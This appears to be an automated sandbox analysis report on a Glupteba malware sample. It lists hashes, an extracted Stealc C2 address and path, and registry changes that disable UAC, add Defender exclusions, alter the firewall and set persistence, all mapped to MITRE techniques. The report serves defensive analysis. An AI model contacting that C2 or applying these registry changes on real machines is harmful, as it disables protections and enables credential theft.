glupteba | 15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126

Analysis

max time kernel
29s
max time network
279s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
07-05-2024 22:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe
Size

410KB
MD5

b76b8463d2167fa7f1feb1d562fe18ac
SHA1

9870f08014840f890ef57200a87775d5d199cb5f
SHA256

15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126
SHA512

c137dcebc7ea2da5a90898c73ddbf54370d168d7655acffa4cae62586b53e7064871d10b39af363b664529bb39fb60ae895ad61f2ed766f7390a874dbcf01361
SSDEEP

12288:IpUaCbA1fQy08IAKsVU5kTc9E4rQQm+7fLiEivqUa:I1CbAP0zAr1TEE4r0+6pCUa

Score

10^/10

glupteba privateloader stealc zgrat discovery dropper evasion execution loader persistence ransomware rat spyware stealer themida trojan

Malware Config

Extracted

Family

stealc

http://185.172.128.150

Attributes

url_path
/c698e1bc8a2f5e6d.php

Signatures

Detect ZGRat V1 2 IoCs

resource	yara_rule
behavioral1/memory/1940-574-0x00000000007F0000-0x0000000000814000-memory.dmp	family_zgrat_v1
behavioral1/memory/1940-565-0x000000001F150000-0x000000001F25A000-memory.dmp	family_zgrat_v1

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 1 IoCs

resource	yara_rule
behavioral1/memory/1596-297-0x0000000000400000-0x0000000002EE2000-memory.dmp	family_glupteba

Modifies firewall policy service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	v6s6qaWB2YvbsvKdMDrRlx1U.exe

PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
Stealc
Stealc is an infostealer written in C++.
stealer stealc

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\3gZPqlcuNueSwppuk49mmWVI.exe = "0"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\pzGm20MLkygiSIxEhKXhO6vT.exe = "0"	pzGm20MLkygiSIxEhKXhO6vT.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\fBcYOMmPwswRhm3OcPy37RCz.exe = "0"	fBcYOMmPwswRhm3OcPy37RCz.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\kmG2oVJ8MVKQlZdC07H81o1H.exe = "0"	kmG2oVJ8MVKQlZdC07H81o1H.exe

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	v6s6qaWB2YvbsvKdMDrRlx1U.exe

Modifies boot configuration data using bcdedit 1 TTPs 14 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2716	bcdedit.exe
1240	bcdedit.exe
1900	bcdedit.exe
760	bcdedit.exe
1040	bcdedit.exe
960	bcdedit.exe
1840	bcdedit.exe
1700	bcdedit.exe
2580	bcdedit.exe
1408	bcdedit.exe
2312	bcdedit.exe
3020	bcdedit.exe
2300	bcdedit.exe
1632	bcdedit.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
50	2628	u1vk.0.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1300	powershell.exe
2016	powershell.exe
2636	powershell.exe
380	powershell.exe
2292	powershell.exe
1476	powershell.exe
900	powershell.exe
1404	powershell.EXE
1904	powershell.exe
1516	powershell.exe
812	powershell.exe
2372	powershell.exe
1964	powershell.exe
900	powershell.exe
2984	powershell.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1696	netsh.exe
528	netsh.exe
3040	netsh.exe
2880	netsh.exe

Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059

Checks BIOS information in registry 2 TTPs 3 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	v6s6qaWB2YvbsvKdMDrRlx1U.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	v6s6qaWB2YvbsvKdMDrRlx1U.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Drops startup file 8 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8LbaXrPr5rjKlznVvsVrjNMV.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OT0lGOe5v8urPaWjDYRgjsad.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\th5osy0hLRASYMo978aY7G5V.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KV1xtXHsExQXTPhLY36sJ4XT.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ArQ4GeWO9nHrB0GxCgT8UMTt.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WzwQeCI7FXC32aEN77DMm9rw.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\goLwsR6Dggjj4GZQbNMWoDyb.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Vd9UM67fR50reACHEPEOzeu2.bat	AddInProcess32.exe

Executes dropped EXE 17 IoCs

pid	Process
2432	pJRgrx8FZmjExOQ2wYGCn7Nk.exe
1868	kmG2oVJ8MVKQlZdC07H81o1H.exe
800	3gZPqlcuNueSwppuk49mmWVI.exe
2364	pzGm20MLkygiSIxEhKXhO6vT.exe
1596	fBcYOMmPwswRhm3OcPy37RCz.exe
2628	u1vk.0.exe
812	kmG2oVJ8MVKQlZdC07H81o1H.exe
1880	fBcYOMmPwswRhm3OcPy37RCz.exe
1736	3gZPqlcuNueSwppuk49mmWVI.exe
1572	pzGm20MLkygiSIxEhKXhO6vT.exe
2840	v6s6qaWB2YvbsvKdMDrRlx1U.exe
1296	csrss.exe
2532	patch.exe
2312	u1vk.1.exe
1976	injector.exe
1020	fIBf9OPPrQkH2KTVXLEYWoqz.exe
1968	Install.exe

Loads dropped DLL 42 IoCs

pid	Process
2596	AddInProcess32.exe
2596	AddInProcess32.exe
2596	AddInProcess32.exe
2596	AddInProcess32.exe
2596	AddInProcess32.exe
2596	AddInProcess32.exe
2596	AddInProcess32.exe
2596	AddInProcess32.exe
2596	AddInProcess32.exe
2432	pJRgrx8FZmjExOQ2wYGCn7Nk.exe
2432	pJRgrx8FZmjExOQ2wYGCn7Nk.exe
2432	pJRgrx8FZmjExOQ2wYGCn7Nk.exe
2432	pJRgrx8FZmjExOQ2wYGCn7Nk.exe
2596	AddInProcess32.exe
1736	3gZPqlcuNueSwppuk49mmWVI.exe
1736	3gZPqlcuNueSwppuk49mmWVI.exe
876	Process not Found
2532	patch.exe
2532	patch.exe
2532	patch.exe
2532	patch.exe
2532	patch.exe
2432	pJRgrx8FZmjExOQ2wYGCn7Nk.exe
2432	pJRgrx8FZmjExOQ2wYGCn7Nk.exe
2432	pJRgrx8FZmjExOQ2wYGCn7Nk.exe
2432	pJRgrx8FZmjExOQ2wYGCn7Nk.exe
1296	csrss.exe
2628	u1vk.0.exe
2628	u1vk.0.exe
2596	AddInProcess32.exe
1020	fIBf9OPPrQkH2KTVXLEYWoqz.exe
1020	fIBf9OPPrQkH2KTVXLEYWoqz.exe
1020	fIBf9OPPrQkH2KTVXLEYWoqz.exe
1020	fIBf9OPPrQkH2KTVXLEYWoqz.exe
1968	Install.exe
1968	Install.exe
1968	Install.exe
1940	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
1940	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
1940	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
1940	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
1940	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x0005000000018674-301.dat	themida
behavioral1/memory/2840-303-0x0000000140000000-0x0000000140917000-memory.dmp	themida
behavioral1/memory/2840-558-0x0000000140000000-0x0000000140917000-memory.dmp	themida

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\pzGm20MLkygiSIxEhKXhO6vT.exe = "0"	pzGm20MLkygiSIxEhKXhO6vT.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\fBcYOMmPwswRhm3OcPy37RCz.exe = "0"	fBcYOMmPwswRhm3OcPy37RCz.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\kmG2oVJ8MVKQlZdC07H81o1H.exe = "0"	kmG2oVJ8MVKQlZdC07H81o1H.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\3gZPqlcuNueSwppuk49mmWVI.exe = "0"	3gZPqlcuNueSwppuk49mmWVI.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	pzGm20MLkygiSIxEhKXhO6vT.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	fBcYOMmPwswRhm3OcPy37RCz.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	kmG2oVJ8MVKQlZdC07H81o1H.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	v6s6qaWB2YvbsvKdMDrRlx1U.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	pastebin.com
7	pastebin.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
47	api.myip.com
45	api.myip.com

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\GroupPolicy	v6s6qaWB2YvbsvKdMDrRlx1U.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	v6s6qaWB2YvbsvKdMDrRlx1U.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	v6s6qaWB2YvbsvKdMDrRlx1U.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	v6s6qaWB2YvbsvKdMDrRlx1U.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2840	v6s6qaWB2YvbsvKdMDrRlx1U.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2192 set thread context of 2596	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	32

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 4 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	3gZPqlcuNueSwppuk49mmWVI.exe
File opened (read-only)	\??\VBoxMiniRdrDN	fBcYOMmPwswRhm3OcPy37RCz.exe
File opened (read-only)	\??\VBoxMiniRdrDN	kmG2oVJ8MVKQlZdC07H81o1H.exe
File opened (read-only)	\??\VBoxMiniRdrDN	pzGm20MLkygiSIxEhKXhO6vT.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\rss\csrss.exe	3gZPqlcuNueSwppuk49mmWVI.exe
File opened for modification	C:\Windows\rss	fBcYOMmPwswRhm3OcPy37RCz.exe
File created	C:\Windows\rss\csrss.exe	fBcYOMmPwswRhm3OcPy37RCz.exe
File opened for modification	C:\Windows\rss	kmG2oVJ8MVKQlZdC07H81o1H.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20240507222745.cab	makecab.exe
File opened for modification	C:\Windows\rss	3gZPqlcuNueSwppuk49mmWVI.exe
File opened for modification	C:\Windows\rss	pzGm20MLkygiSIxEhKXhO6vT.exe
File created	C:\Windows\rss\csrss.exe	pzGm20MLkygiSIxEhKXhO6vT.exe
File created	C:\Windows\rss\csrss.exe	kmG2oVJ8MVKQlZdC07H81o1H.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1268	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u1vk.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u1vk.1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u1vk.1.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	u1vk.0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	u1vk.0.exe

Creates scheduled task(s) 1 TTPs 20 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
852	schtasks.exe
2924	schtasks.exe
2780	schtasks.exe
692	schtasks.exe
1616	schtasks.exe
1008	schtasks.exe
2628	schtasks.exe
2608	schtasks.exe
2716	schtasks.exe
2516	schtasks.exe
2612	schtasks.exe
2600	schtasks.exe
1596	schtasks.exe
2184	schtasks.exe
2492	schtasks.exe
1632	schtasks.exe
2608	schtasks.exe
1464	schtasks.exe
864	schtasks.exe
2360	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	fBcYOMmPwswRhm3OcPy37RCz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	fBcYOMmPwswRhm3OcPy37RCz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
